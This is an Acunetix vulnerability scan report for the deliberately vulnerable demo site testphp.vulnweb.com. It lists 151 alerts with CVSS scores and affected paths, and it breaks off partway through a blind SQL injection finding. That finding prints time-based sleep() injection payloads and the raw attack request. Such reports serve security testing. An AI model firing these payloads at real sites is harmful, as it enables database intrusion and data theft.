acunetix

Developer Report

Acunetix website audit

25 November 2016

WEB APPLICATION SECURITY

Scan of http://testphp.vulnweb.com

Scan details

Scan information	
Start time	17/11/2016, 19:22:12
Start url	http://testphp.vulnweb.com
Host	http://testphp.vulnweb.com
Scan time	14 minutes, 35 seconds
Profile	Full Scan

Threat level

Acunetix Threat Level 3

Alerts distribution

Total alerts found	151
High	75
Medium	48
Low	9
Informational	19

Alerts summary

Blind SQL Injection

Classification	
CVSS2	Base Score: 6.8 Access Vector: Network_accessible Access Complexity: Medium Authentication: None Confidentiality Impact: Partial Integrity Impact: Partial Availability Impact: Partial Exploitability: Not_defined Remediation Level: Not_defined Report Confidence: Not_defined Availability Requirement: Not_defined Collateral Damage Potential: Not_defined Confidentiality Requirement: Not_defined Integrity Requirement: Not_defined Target Distribution: Not_defined
CVSS3	Base Score: 10.0 Attack Vector: Network Attack Complexity: Low Privileges Required: None User Interaction: None Scope: Changed Confidentiality Impact: High Integrity Impact: High Availability Impact: None
CWE	CWE-89

Affected items	Variation
/Mod_Rewrite_Shop/details.php	1
/product.php	2
/guestbook.php	1
/userinfo.php	3

/AJAX/infotitle.php	1
/search.php	3
Web Server	1
/AJAX/infocateg.php	1
/listproducts.php	3
/sendcommand.php	1
/Mod_Rewrite_Shop/rate.php	1
/Mod_Rewrite_Shop/buy.php	1
/AJAX/infoartist.php	1
/artists.php	2
/secured/newuser.php	1
/cart.php	1

Cross site scripting

Classification	
CVSS2	Base Score: 6.4 Access Vector: Network_accessible Access Complexity: Low Authentication: None Confidentiality Impact: Partial Integrity Impact: Partial Availability Impact: None Exploitability: Not_defined Remediation Level: Not_defined Report Confidence: Not_defined Availability Requirement: Not_defined Collateral Damage Potential: Not_defined Confidentiality Requirement: Not_defined Integrity Requirement: Not_defined Target Distribution: Not_defined
CVSS3	Base Score: 5.3 Attack Vector: Network Attack Complexity: Low Privileges Required: None User Interaction: None Scope: Unchanged Confidentiality Impact: None Integrity Impact: Low Availability Impact: None
CWE	CWE-79

Affected items	Variation
/hpp/params.php	2
/404.php	1
/hpp/index.php	1
/guestbook.php	3
/search.php	1
/hpp	1
/comment.php	1
/AJAX/showxml.php	1
/listproducts.php	2
/secured/newuser.php	6

Directory traversal

Classification	

CVSS2	Base Score: 6.8 Access Vector: Network_accessible Access Complexity: Medium Authentication: None Confidentiality Impact: Partial Integrity Impact: Partial Availability Impact: Partial Exploitability: Not_defined Remediation Level: Not_defined Report Confidence: Not_defined Availability Requirement: Not_defined Collateral Damage Potential: Not_defined Confidentiality Requirement: Not_defined Integrity Requirement: Not_defined Target Distribution: Not_defined
CVSS3	Base Score: 5.3 Attack Vector: Network Attack Complexity: Low Privileges Required: None User Interaction: None Scope: Unchanged Confidentiality Impact: Low Integrity Impact: None Availability Impact: None
CWE	CWE-22

Affected items	Variation
/showimage.php	1

Macromedia Dreamweaver remote database scripts

Classification	
CVSS2	Base Score: 5.0 Access Vector: Network_accessible Access Complexity: Low Authentication: None Confidentiality Impact: Partial Integrity Impact: None Availability Impact: None Exploitability: High Remediation Level: Official_fix Report Confidence: Confirmed Availability Requirement: Not_defined Collateral Damage Potential: Not_defined Confidentiality Requirement: Not_defined Integrity Requirement: Not_defined Target Distribution: Not_defined
CVE	CVE-2004-1893
CWE	CWE-16

Affected items	Variation
Web Server	1

nginx SPDY heap buffer overflow

Classification	
CVSS2	Base Score: 5.1 Access Vector: Network_accessible Access Complexity: High Authentication: None Confidentiality Impact: Partial Integrity Impact: Partial Availability Impact: Partial Exploitability: Proof_of_concept Remediation Level: Official_fix

	Report Confidence: Not_defined Availability Requirement: Not_defined Collateral Damage Potential: Not_defined Confidentiality Requirement: Not_defined Integrity Requirement: Not_defined Target Distribution: Not_defined
CVE	CVE-2014-0133
CWE	CWE-122

Affected items	Variation
Web Server	1

PHP allow_url_fopen enabled (AcuSensor)

Classification	
CVSS2	Base Score: 0.0 Access Vector: Network_accessible Access Complexity: Low Authentication: None Confidentiality Impact: None Integrity Impact: None Availability Impact: None Exploitability: Not_defined Remediation Level: Not_defined Report Confidence: Not_defined Availability Requirement: Not_defined Collateral Damage Potential: Not_defined Confidentiality Requirement: Not_defined Integrity Requirement: Not_defined Target Distribution: Not_defined
CWE	CWE-16

Affected items	Variation
Web Server	1

Remote file inclusion XSS

Classification	
CVSS2	Base Score: 6.4 Access Vector: Network_accessible Access Complexity: Low Authentication: None Confidentiality Impact: Partial Integrity Impact: Partial Availability Impact: None Exploitability: Not_defined Remediation Level: Not_defined Report Confidence: Not_defined Availability Requirement: Not_defined Collateral Damage Potential: Not_defined Confidentiality Requirement: Not_defined Integrity Requirement: Not_defined Target Distribution: Not_defined
CVSS3	Base Score: 5.3 Attack Vector: Network Attack Complexity: Low Privileges Required: None User Interaction: None Scope: Unchanged Confidentiality Impact: None Integrity Impact: Low Availability Impact: None
CWE	CWE-79

Affected items	Variation

/showimage.php	1

Script source code disclosure

Classification	
CVSS2	Base Score: 5.0 Access Vector: Network_accessible Access Complexity: Low Authentication: None Confidentiality Impact: Partial Integrity Impact: None Availability Impact: None Exploitability: Not_defined Remediation Level: Not_defined Report Confidence: Not_defined Availability Requirement: Not_defined Collateral Damage Potential: Not_defined Confidentiality Requirement: Not_defined Integrity Requirement: Not_defined Target Distribution: Not_defined
CWE	CWE-538

Affected items	Variation
/showimage.php	1

Server side request forgery

Classification	
CVSS2	Base Score: 5.8 Access Vector: Network_accessible Access Complexity: Medium Authentication: None Confidentiality Impact: Partial Integrity Impact: Partial Availability Impact: None Exploitability: Not_defined Remediation Level: Not_defined Report Confidence: Not_defined Availability Requirement: Not_defined Collateral Damage Potential: Not_defined Confidentiality Requirement: Not_defined Integrity Requirement: Not_defined Target Distribution: Not_defined
CVSS3	Base Score: 9.0 Attack Vector: Network Attack Complexity: High Privileges Required: None User Interaction: None Scope: Changed Confidentiality Impact: High Integrity Impact: High Availability Impact: High
CWE	CWE-918

Affected items	Variation
/showimage.php	1

SQL injection

Classification	
	Base Score: 6.8 Access Vector: Network_accessible Access Complexity: Medium Authentication: None Confidentiality Impact: Partial

CVSS2	Integrity Impact: Partial Availability Impact: Partial Exploitability: Not_defined Remediation Level: Not_defined Report Confidence: Not_defined Availability Requirement: Not_defined Collateral Damage Potential: Not_defined Confidentiality Requirement: Not_defined Integrity Requirement: Not_defined Target Distribution: Not_defined
CVSS3	Base Score: 10.0 Attack Vector: Network Attack Complexity: Low Privileges Required: None User Interaction: None Scope: Changed Confidentiality Impact: High Integrity Impact: High Availability Impact: None
CWE	CWE-89

Affected items	Variation
/Mod_Rewrite_Shop/details.php	1
/product.php	2
/guestbook.php	1
/userinfo.php	3
/AJAX/infotitle.php	1
/search.php	3
Web Server	1
/AJAX/infocateg.php	1
/listproducts.php	3
/sendcommand.php	1
/Mod_Rewrite_Shop/rate.php	1
/Mod_Rewrite_Shop/buy.php	1
/AJAX/infoartist.php	1
/artists.php	2
/secured/newuser.php	1
/cart.php	1

Weak password

Classification	
CVSS2	Base Score: 7.5 Access Vector: Network_accessible Access Complexity: Low Authentication: None Confidentiality Impact: Partial Integrity Impact: Partial Availability Impact: Partial Exploitability: Not_defined Remediation Level: Not_defined Report Confidence: Not_defined Availability Requirement: Not_defined Collateral Damage Potential: Not_defined Confidentiality Requirement: Not_defined Integrity Requirement: Not_defined Target Distribution: Not_defined
	Base Score: 7.5 Attack Vector: Network Attack Complexity: Low

CVSS3	Privileges Required: None User Interaction: None Scope: Unchanged Confidentiality Impact: High Integrity Impact: None Availability Impact: None
CWE	CWE-200

Affected items	Variation
/userinfo.php	1

.htaccess file readable

Classification	
CVSS2	Base Score: 5.0 Access Vector: Network_accessible Access Complexity: Low Authentication: None Confidentiality Impact: Partial Integrity Impact: None Availability Impact: None Exploitability: Not_defined Remediation Level: Not_defined Report Confidence: Not_defined Availability Requirement: Not_defined Collateral Damage Potential: Not_defined Confidentiality Requirement: Not_defined Integrity Requirement: Not_defined Target Distribution: Not_defined
CWE	CWE-16

Affected items	Variation
/Mod_Rewrite_Shop	1

Application error message

Classification	
CVSS2	Base Score: 5.0 Access Vector: Network_accessible Access Complexity: Low Authentication: None Confidentiality Impact: Partial Integrity Impact: None Availability Impact: None Exploitability: Not_defined Remediation Level: Not_defined Report Confidence: Not_defined Availability Requirement: Not_defined Collateral Damage Potential: Not_defined Confidentiality Requirement: Not_defined Integrity Requirement: Not_defined Target Distribution: Not_defined
CVSS3	Base Score: 7.5 Attack Vector: Network Attack Complexity: Low Privileges Required: None User Interaction: None Scope: Unchanged Confidentiality Impact: High Integrity Impact: None Availability Impact: None
CWE	CWE-200

Affected items	Variation
/listproducts.php	2

/secured/newuser.php	1
/showimage.php	2

Backup files

Classification	
CVSS2	Base Score: 5.0 Access Vector: Network_accessible Access Complexity: Low Authentication: None Confidentiality Impact: Partial Integrity Impact: None Availability Impact: None Exploitability: Not_defined Remediation Level: Not_defined Report Confidence: Not_defined Availability Requirement: Not_defined Collateral Damage Potential: Not_defined Confidentiality Requirement: Not_defined Integrity Requirement: Not_defined Target Distribution: Not_defined
CWE	CWE-538

Affected items	Variation
/index.bak	1
/index.zip	1

CRLF injection/HTTP response splitting

Classification	
CVSS2	Base Score: 5.0 Access Vector: Network_accessible Access Complexity: Low Authentication: None Confidentiality Impact: None Integrity Impact: Partial Availability Impact: None Exploitability: Not_defined Remediation Level: Not_defined Report Confidence: Not_defined Availability Requirement: Not_defined Collateral Damage Potential: Not_defined Confidentiality Requirement: Not_defined Integrity Requirement: Not_defined Target Distribution: Not_defined
CVSS3	Base Score: 5.4 Attack Vector: Network Attack Complexity: Low Privileges Required: None User Interaction: Required Scope: Unchanged Confidentiality Impact: Low Integrity Impact: Low Availability Impact: None
CWE	CWE-113

Affected items	Variation
/redir.php	1

Cross domain data hijacking

Classification	
	Base Score: 4.3 Access Vector: Network_accessible

CVSS2	Access Complexity: Medium Authentication: None Confidentiality Impact: None Integrity Impact: Partial Availability Impact: None Exploitability: Not_defined Remediation Level: Not_defined Report Confidence: Not_defined Availability Requirement: Not_defined Collateral Damage Potential: Not_defined Confidentiality Requirement: Not_defined Integrity Requirement: Not_defined Target Distribution: Not_defined
CWE	CWE-20

Affected items	Variation
/hpp/params.php	1

Cross site scripting (content-sniffing)

Classification	
CVSS2	Base Score: 6.4 Access Vector: Network_accessible Access Complexity: Low Authentication: None Confidentiality Impact: Partial Integrity Impact: Partial Availability Impact: None Exploitability: Not_defined Remediation Level: Not_defined Report Confidence: Not_defined Availability Requirement: Not_defined Collateral Damage Potential: Not_defined Confidentiality Requirement: Not_defined Integrity Requirement: Not_defined Target Distribution: Not_defined
CVSS3	Base Score: 5.3 Attack Vector: Network Attack Complexity: Low Privileges Required: None User Interaction: None Scope: Unchanged Confidentiality Impact: None Integrity Impact: Low Availability Impact: None
CWE	CWE-79

Affected items	Variation
/showimage.php	1

Directory listing

Classification	
CVSS2	Base Score: 5.0 Access Vector: Network_accessible Access Complexity: Low Authentication: None Confidentiality Impact: Partial Integrity Impact: None Availability Impact: None Exploitability: Not_defined Remediation Level: Not_defined Report Confidence: Not_defined Availability Requirement: Not_defined Collateral Damage Potential: Not_defined Confidentiality Requirement: Not_defined

	Integrity Requirement: Not_defined Target Distribution: Not_defined
CVSS3	Base Score: 7.5 Attack Vector: Network Attack Complexity: Low Privileges Required: None User Interaction: None Scope: Unchanged Confidentiality Impact: High Integrity Impact: None Availability Impact: None
CWE	CWE-538

Affected items	Variation
/_mmServerScripts	1
/pictures	1
/Connections	1
/Templates	1
/wvstests/pmwiki_2_1_19/scripts	1
/Flash	1
/.idea	1
/Mod_Rewrite_Shop/images	1
/wvstests/pmwiki_2_1_19	1
/.idea/scopes	1
/wvstests	1
/images	1

Error message on page

Classification	
CVSS2	Base Score: 5.0 Access Vector: Network_accessible Access Complexity: Low Authentication: None Confidentiality Impact: Partial Integrity Impact: None Availability Impact: None Exploitability: Not_defined Remediation Level: Not_defined Report Confidence: Not_defined Availability Requirement: Not_defined Collateral Damage Potential: Not_defined Confidentiality Requirement: Not_defined Integrity Requirement: Not_defined Target Distribution: Not_defined
CVSS3	Base Score: 7.5 Attack Vector: Network Attack Complexity: Low Privileges Required: None User Interaction: None Scope: Unchanged Confidentiality Impact: High Integrity Impact: None Availability Impact: None
CWE	CWE-200

Affected items	Variation
/Connections/DB_Connection.php	1
/secured/database_connect.php	1
/AJAX/infotitle.php	1

/AJAX/infoartist.php	1
/AJAX/infocateg.php	1
/listproducts.php	1
/pictures/path-disclosure-unix.html	1

HTML form without CSRF protection

Classification	
CVSS2	Base Score: 2.6 Access Vector: Network_accessible Access Complexity: High Authentication: None Confidentiality Impact: None Integrity Impact: Partial Availability Impact: None Exploitability: Not_defined Remediation Level: Not_defined Report Confidence: Not_defined Availability Requirement: Not_defined Collateral Damage Potential: Not_defined Confidentiality Requirement: Not_defined Integrity Requirement: Not_defined Target Distribution: Not_defined
CVSS3	Base Score: 4.3 Attack Vector: Network Attack Complexity: Low Privileges Required: None User Interaction: Required Scope: Unchanged Confidentiality Impact: None Integrity Impact: Low Availability Impact: None
CWE	CWE-352

Affected items	Variation
/signup.php	1
/guestbook.php	1
/login.php	1
/hpp	1
/comment.php	1
Web Server	1

HTTP parameter pollution

Classification	
CVSS2	Base Score: 5.0 Access Vector: Network_accessible Access Complexity: Low Authentication: None Confidentiality Impact: None Integrity Impact: Partial Availability Impact: None Exploitability: Not_defined Remediation Level: Not_defined Report Confidence: Not_defined Availability Requirement: Not_defined Collateral Damage Potential: Not_defined Confidentiality Requirement: Not_defined Integrity Requirement: Not_defined Target Distribution: Not_defined
	Base Score: 9.1 Attack Vector: Network

CVSS3	Attack Complexity: Low Privileges Required: None User Interaction: None Scope: Unchanged Confidentiality Impact: High Integrity Impact: High Availability Impact: None
CWE	CWE-88

Affected items	Variation
/hpp	1
/hpp/index.php	1

Insecure crossdomain.xml file

Classification	
CVSS2	Base Score: 5.0 Access Vector: Network_accessible Access Complexity: Low Authentication: None Confidentiality Impact: Partial Integrity Impact: None Availability Impact: None Exploitability: Not_defined Remediation Level: Not_defined Report Confidence: Not_defined Availability Requirement: Not_defined Collateral Damage Potential: Not_defined Confidentiality Requirement: Not_defined Integrity Requirement: Not_defined Target Distribution: Not_defined
CVSS3	Base Score: 6.5 Attack Vector: Network Attack Complexity: Low Privileges Required: None User Interaction: None Scope: Unchanged Confidentiality Impact: Low Integrity Impact: Low Availability Impact: None
CWE	CWE-284

Affected items	Variation
Web Server	1

JetBrains .idea project directory

Classification	
CVSS2	Base Score: 5.0 Access Vector: Network_accessible Access Complexity: Low Authentication: None Confidentiality Impact: Partial Integrity Impact: None Availability Impact: None Exploitability: Not_defined Remediation Level: Not_defined Report Confidence: Not_defined Availability Requirement: Not_defined Collateral Damage Potential: Not_defined Confidentiality Requirement: Not_defined Integrity Requirement: Not_defined Target Distribution: Not_defined
CWE	CWE-538

Affected items	Variation
Web Server	1

PHP errors enabled (AcuSensor)

Classification	
CVSS2	Base Score: 0.0 Access Vector: Network_accessible Access Complexity: Low Authentication: None Confidentiality Impact: None Integrity Impact: None Availability Impact: None Exploitability: Not_defined Remediation Level: Not_defined Report Confidence: Not_defined Availability Requirement: Not_defined Collateral Damage Potential: Not_defined Confidentiality Requirement: Not_defined Integrity Requirement: Not_defined Target Distribution: Not_defined
CWE	CWE-16

Affected items	Variation
Web Server	1

PHPinfo page found

Classification	
CVSS2	Base Score: 5.0 Access Vector: Network_accessible Access Complexity: Low Authentication: None Confidentiality Impact: Partial Integrity Impact: None Availability Impact: None Exploitability: Not_defined Remediation Level: Not_defined Report Confidence: Not_defined Availability Requirement: Not_defined Collateral Damage Potential: Not_defined Confidentiality Requirement: Not_defined Integrity Requirement: Not_defined Target Distribution: Not_defined
CVSS3	Base Score: 7.5 Attack Vector: Network Attack Complexity: Low Privileges Required: None User Interaction: None Scope: Unchanged Confidentiality Impact: High Integrity Impact: None Availability Impact: None
CWE	CWE-200

Affected items	Variation
/secured/phpinfo.php	1

Source code disclosure

Classification	
	Base Score: 5.0 Access Vector: Network_accessible Access Complexity: Low

CVSS2	Authentication: None Confidentiality Impact: Partial Integrity Impact: None Availability Impact: None Exploitability: Not_defined Remediation Level: Not_defined Report Confidence: Not_defined Availability Requirement: Not_defined Collateral Damage Potential: Not_defined Confidentiality Requirement: Not_defined Integrity Requirement: Not_defined Target Distribution: Not_defined
CVSS3	Base Score: 7.5 Attack Vector: Network Attack Complexity: Low Privileges Required: None User Interaction: None Scope: Unchanged Confidentiality Impact: High Integrity Impact: None Availability Impact: None
CWE	CWE-538

Affected items	Variation
/index.bak	1
/pictures/wp-config.bak	1

URL redirection

Classification	
CVSS2	Base Score: 6.4 Access Vector: Network_accessible Access Complexity: Low Authentication: None Confidentiality Impact: Partial Integrity Impact: Partial Availability Impact: None Exploitability: Not_defined Remediation Level: Not_defined Report Confidence: Not_defined Availability Requirement: Not_defined Collateral Damage Potential: Not_defined Confidentiality Requirement: Not_defined Integrity Requirement: Not_defined Target Distribution: Not_defined
CVSS3	Base Score: 0.0 Attack Vector: Network Attack Complexity: Low Privileges Required: None User Interaction: None Scope: Unchanged Confidentiality Impact: None Integrity Impact: None Availability Impact: None
CWE	CWE-601

Affected items	Variation
/redir.php	1

User credentials are sent in clear text

Classification	
	Base Score: 5.0 Access Vector: Network_accessible Access Complexity: Low

CVSS2	Authentication: None Confidentiality Impact: Partial Integrity Impact: None Availability Impact: None Exploitability: High Remediation Level: Workaround Report Confidence: Confirmed Availability Requirement: Not_defined Collateral Damage Potential: Not_defined Confidentiality Requirement: Not_defined Integrity Requirement: Not_defined Target Distribution: Not_defined
CVSS3	Base Score: 9.1 Attack Vector: Network Attack Complexity: Low Privileges Required: None User Interaction: None Scope: Unchanged Confidentiality Impact: High Integrity Impact: High Availability Impact: None
CWE	CWE-310

Affected items	Variation
/signup.php	1
/login.php	1

WS_FTP log file found

Classification	
CVSS2	Base Score: 5.0 Access Vector: Network_accessible Access Complexity: Low Authentication: None Confidentiality Impact: Partial Integrity Impact: None Availability Impact: None Exploitability: Not_defined Remediation Level: Not_defined Report Confidence: Not_defined Availability Requirement: Not_defined Collateral Damage Potential: Not_defined Confidentiality Requirement: Not_defined Integrity Requirement: Not_defined Target Distribution: Not_defined
CWE	CWE-538

Affected items	Variation
/pictures/WS_FTP.LOG	1

Clickjacking: X-Frame-Options header missing

Classification	
CVSS2	Base Score: 6.8 Access Vector: Network_accessible Access Complexity: Medium Authentication: None Confidentiality Impact: Partial Integrity Impact: Partial Availability Impact: Partial Exploitability: Not_defined Remediation Level: Not_defined Report Confidence: Not_defined Availability Requirement: Not_defined Collateral Damage Potential: Not_defined

	Confidentiality Requirement: Not_defined Integrity Requirement: Not_defined Target Distribution: Not_defined
CWE	CWE-693

Affected items	Variation
Web Server	1

Hidden form input named price was found

Classification	
CVSS2	Base Score: 0.0 Access Vector: Network_accessible Access Complexity: Low Authentication: None Confidentiality Impact: None Integrity Impact: None Availability Impact: None Exploitability: Not_defined Remediation Level: Not_defined Report Confidence: Not_defined Availability Requirement: Not_defined Collateral Damage Potential: Not_defined Confidentiality Requirement: Not_defined Integrity Requirement: Not_defined Target Distribution: Not_defined
CWE	CWE-16

Affected items	Variation
/product.php	1

Login page password-guessing attack

Classification	
CVSS2	Base Score: 5.0 Access Vector: Network_accessible Access Complexity: Low Authentication: None Confidentiality Impact: Partial Integrity Impact: None Availability Impact: None Exploitability: Not_defined Remediation Level: Not_defined Report Confidence: Not_defined Availability Requirement: Not_defined Collateral Damage Potential: Not_defined Confidentiality Requirement: Not_defined Integrity Requirement: Not_defined Target Distribution: Not_defined
CVSS3	Base Score: 5.3 Attack Vector: Network Attack Complexity: Low Privileges Required: None User Interaction: None Scope: Unchanged Confidentiality Impact: None Integrity Impact: None Availability Impact: Low
CWE	CWE-307

Affected items	Variation
/userinfo.php	1

MySQL username disclosure

Classification	
CVSS2	Base Score: 0.0 Access Vector: Network_accessible Access Complexity: Low Authentication: None Confidentiality Impact: None Integrity Impact: None Availability Impact: None Exploitability: Not_defined Remediation Level: Not_defined Report Confidence: Not_defined Availability Requirement: Not_defined Collateral Damage Potential: Not_defined Confidentiality Requirement: Not_defined Integrity Requirement: Not_defined Target Distribution: Not_defined
CWE	CWE-538

Affected items	Variation
/Connections/DB_Connection.php	1
/secured/database_connect.php	1

Possible sensitive directories

Classification	
CVSS2	Base Score: 5.0 Access Vector: Network_accessible Access Complexity: Low Authentication: None Confidentiality Impact: Partial Integrity Impact: None Availability Impact: None Exploitability: Not_defined Remediation Level: Not_defined Report Confidence: Not_defined Availability Requirement: Not_defined Collateral Damage Potential: Not_defined Confidentiality Requirement: Not_defined Integrity Requirement: Not_defined Target Distribution: Not_defined
CVSS3	Base Score: 7.5 Attack Vector: Network Attack Complexity: Low Privileges Required: None User Interaction: None Scope: Unchanged Confidentiality Impact: High Integrity Impact: None Availability Impact: None
CWE	CWE-200

Affected items	Variation
/secured	1
/admin	1
/CVS	1

Possible virtual host found

Classification	
	Base Score: 5.0 Access Vector: Network_accessible Access Complexity: Low Authentication: None Confidentiality Impact: Partial

CVSS2	Integrity Impact: None Availability Impact: None Exploitability: Not_defined Remediation Level: Not_defined Report Confidence: Not_defined Availability Requirement: Not_defined Collateral Damage Potential: Not_defined Confidentiality Requirement: Not_defined Integrity Requirement: Not_defined Target Distribution: Not_defined
CVSS3	Base Score: 7.5 Attack Vector: Network Attack Complexity: Low Privileges Required: None User Interaction: None Scope: Unchanged Confidentiality Impact: High Integrity Impact: None Availability Impact: None
CWE	CWE-200

Affected items	Variation
Web Server	1

Broken links

Classification	
CVSS2	Base Score: 0.0 Access Vector: Network_accessible Access Complexity: Low Authentication: None Confidentiality Impact: None Integrity Impact: None Availability Impact: None Exploitability: Not_defined Remediation Level: Not_defined Report Confidence: Not_defined Availability Requirement: Not_defined Collateral Damage Potential: Not_defined Confidentiality Requirement: Not_defined Integrity Requirement: Not_defined Target Distribution: Not_defined
CWE	CWE-16

Affected items	Variation
/Mod_Rewrite_Shop/Details/network-attached-storage-dlink/1	1
/Mod_Rewrite_Shop/Details/web-camera-a4tech/2	1
/privacy.php	1
/medias/js/common_functions.js	1
/medias/css/main.css	1
/secured/office_files/filelist.xml	1
/Mod_Rewrite_Shop/Details/color-printer/3	1

Email address found

Classification	
	Base Score: 5.0 Access Vector: Network_accessible Access Complexity: Low Authentication: None Confidentiality Impact: Partial Integrity Impact: None Availability Impact: None

CVSS2	Exploitability: Not_defined Remediation Level: Not_defined Report Confidence: Not_defined Availability Requirement: Not_defined Collateral Damage Potential: Not_defined Confidentiality Requirement: Not_defined Integrity Requirement: Not_defined Target Distribution: Not_defined
CVSS3	Base Score: 7.5 Attack Vector: Network Attack Complexity: Low Privileges Required: None User Interaction: None Scope: Unchanged Confidentiality Impact: High Integrity Impact: None Availability Impact: None
CWE	CWE-200

Affected items	Variation
Web Server	1

Microsoft Office possible sensitive information

Classification	
CVSS2	Base Score: 5.0 Access Vector: Network_accessible Access Complexity: Low Authentication: None Confidentiality Impact: Partial Integrity Impact: None Availability Impact: None Exploitability: Not_defined Remediation Level: Not_defined Report Confidence: Not_defined Availability Requirement: Not_defined Collateral Damage Potential: Not_defined Confidentiality Requirement: Not_defined Integrity Requirement: Not_defined Target Distribution: Not_defined
CVSS3	Base Score: 7.5 Attack Vector: Network Attack Complexity: Low Privileges Required: None User Interaction: None Scope: Unchanged Confidentiality Impact: High Integrity Impact: None Availability Impact: None
CWE	CWE-200

Affected items	Variation
/secured/office.htm	1

Password type input with auto-complete enabled

Classification	
CVSS2	Base Score: 0.0 Access Vector: Network_accessible Access Complexity: Low Authentication: None Confidentiality Impact: None Integrity Impact: None Availability Impact: None Exploitability: Not_defined

	Remediation Level: Not_defined Report Confidence: Not_defined Availability Requirement: Not_defined Collateral Damage Potential: Not_defined Confidentiality Requirement: Not_defined Integrity Requirement: Not_defined Target Distribution: Not_defined
CVSS3	Base Score: 7.5 Attack Vector: Network Attack Complexity: Low Privileges Required: None User Interaction: None Scope: Unchanged Confidentiality Impact: High Integrity Impact: None Availability Impact: None
CWE	CWE-200

Affected items	Variation
/signup.php	1
/login.php	1

Possible internal IP address disclosure

Classification	
CVSS2	Base Score: 5.0 Access Vector: Network_accessible Access Complexity: Low Authentication: None Confidentiality Impact: Partial Integrity Impact: None Availability Impact: None Exploitability: Not_defined Remediation Level: Not_defined Report Confidence: Not_defined Availability Requirement: Not_defined Collateral Damage Potential: Not_defined Confidentiality Requirement: Not_defined Integrity Requirement: Not_defined Target Distribution: Not_defined
CVSS3	Base Score: 7.5 Attack Vector: Network Attack Complexity: Low Privileges Required: None User Interaction: None Scope: Unchanged Confidentiality Impact: High Integrity Impact: None Availability Impact: None
CWE	CWE-200

Affected items	Variation
/404.php	1
/pictures/ipaddresses.txt	1
/secured/phpinfo.php	1

Possible server path disclosure (Unix)

Classification	
	Base Score: 5.0 Access Vector: Network_accessible Access Complexity: Low Authentication: None Confidentiality Impact: Partial

CVSS2	Integrity Impact: None Availability Impact: None Exploitability: Not_defined Remediation Level: Not_defined Report Confidence: Not_defined Availability Requirement: Not_defined Collateral Damage Potential: Not_defined Confidentiality Requirement: Not_defined Integrity Requirement: Not_defined Target Distribution: Not_defined
CVSS3	Base Score: 7.5 Attack Vector: Network Attack Complexity: Low Privileges Required: None User Interaction: None Scope: Unchanged Confidentiality Impact: High Integrity Impact: None Availability Impact: None
CWE	CWE-200

Affected items	Variation
/pictures/path-disclosure-unix.html	1
/secured/phpinfo.php	1

Possible username or password disclosure

Classification	
CVSS2	Base Score: 5.0 Access Vector: Network_accessible Access Complexity: Low Authentication: None Confidentiality Impact: Partial Integrity Impact: None Availability Impact: None Exploitability: Not_defined Remediation Level: Not_defined Report Confidence: Not_defined Availability Requirement: Not_defined Collateral Damage Potential: Not_defined Confidentiality Requirement: Not_defined Integrity Requirement: Not_defined Target Distribution: Not_defined
CVSS3	Base Score: 7.5 Attack Vector: Network Attack Complexity: Low Privileges Required: None User Interaction: None Scope: Unchanged Confidentiality Impact: High Integrity Impact: None Availability Impact: None
CWE	CWE-200

Affected items	Variation
/pictures/credentials.txt	1
/Connections/DB_Connection.php	1
/secured/database_connect.php	1

Alerts details

Blind SQL Injection

Severity	**High**

Reported by module	Scripting (Blind_Sql_Injection.script)

Description

This script is possibly vulnerable to SQL Injection attacks.

SQL injection is a vulnerability that allows an attacker to alter back-end SQL statements by manipulating the user input. An SQL injection occurs when web applications accept user input that is directly placed into a SQL statement and doesn't properly filter out dangerous characters.

This is one of the most common application layer attacks currently being used on the Internet. Despite the fact that it is relatively easy to protect against, there is a large number of web applications vulnerable.

Impact

An attacker may execute arbitrary SQL statements on the vulnerable system. This may compromise the integrity of your database and/or expose sensitive information.

Depending on the back-end database in use, SQL injection vulnerabilities lead to varying levels of data/system access for the attacker. It may be possible to not only manipulate existing queries, but to UNION in arbitrary data, use sub selects, or append additional queries. In some cases, it may be possible to read in or write out to files, or to execute shell commands on the underlying operating system.

Certain SQL Servers such as Microsoft SQL Server contain stored and extended procedures (database server functions). If an attacker can obtain access to these procedures it may be possible to compromise the entire machine.

Recommendation

Your script should filter metacharacters from user input.
Check detailed information for more information about fixing this vulnerability.

References

Acunetix SQL Injection Attack (http://www.acunetix.com/websitesecurity/sql-injection.htm)
VIDEO: SQL Injection tutorial (http://www.acunetix.com/blog/web-security-zone/video-sql-injection-tutorial/)
OWASP Injection Flaws (http://www.owasp.org/index.php/Injection_Flaws)
How to check for SQL injection vulnerabilities (http://www.acunetix.com/websitesecurity/sql-injection2/)
SQL Injection Walkthrough (http://www.securiteam.com/securityreviews/5DP0N1P76E.html)
OWASP PHP Top 5 (http://www.owasp.org/index.php/PHP_Top_5)

Affected items

/search.php

Details

URL encoded GET input **test** was set to **(select(0)from(select(sleep(0)))v)/*'+(select(0)from(select(sleep(0)))v)+'"+(select(0)from(select(sleep(0)))v)+"*/**

Tests performed:

- (select(0)from(select(sleep(9)))v)/*'+(select(0)from(select(sleep(9)))v)+'"+(select(0)from(select(sleep(9)))v)+"*/ => **9.062**
- (select(0)from(select(sleep(0)))v)/*'+(select(0)from(select(sleep(0)))v)+'"+(select(0)from(select(sleep(0)))v)+"*/ => **0.063**
- (select(0)from(select(sleep(6)))v)/*'+(select(0)from(select(sleep(6)))v)+'"+(select(0)from(select(sleep(6)))v)+"*/ => **6.062**
- (select(0)from(select(sleep(3)))v)/*'+(select(0)from(select(sleep(3)))v)+'"+(select(0)from(select(sleep(3)))v)+"*/ => **3.063**
- (select(0)from(select(sleep(0)))v)/*'+(select(0)from(select(sleep(0)))v)+'"+(select(0)from(select(sleep(0)))v)+"*/ => **0.062**
- (select(0)from(select(sleep(0)))v)/*'+(select(0)from(select(sleep(0)))v)+'"+(select(0)from(select(sleep(0)))v)+"*/ => **0.062**
- (select(0)from(select(sleep(0)))v)/*'+(select(0)from(select(sleep(0)))v)+'"+(select(0)from(select(sleep(0)))v)+"*/ => **0.063**
- (select(0)from(select(sleep(6)))v)/*'+(select(0)from(select(sleep(6)))v)+'"+(select(0)from(select(sleep(6)))v)+"*/ => **6.063**
- (select(0)from(select(sleep(0)))v)/*'+(select(0)from(select(sleep(0)))v)+'"+(select(0)from(select(sleep(0)))v)+"*/ => **0.063**

Original value: **1**

Request headers

```
POST /search.php?test=
(select(0)from(select(sleep(0)))v)/*'%2b(select(0)from(select(sleep(0)))v)%2b'"%2b(select(0)
from(select(sleep(0)))v)%2b"*/ HTTP/1.1
```

```
Content-Length: 11
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Referer: http://testphp.vulnweb.com
Cookie: mycookie=3
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
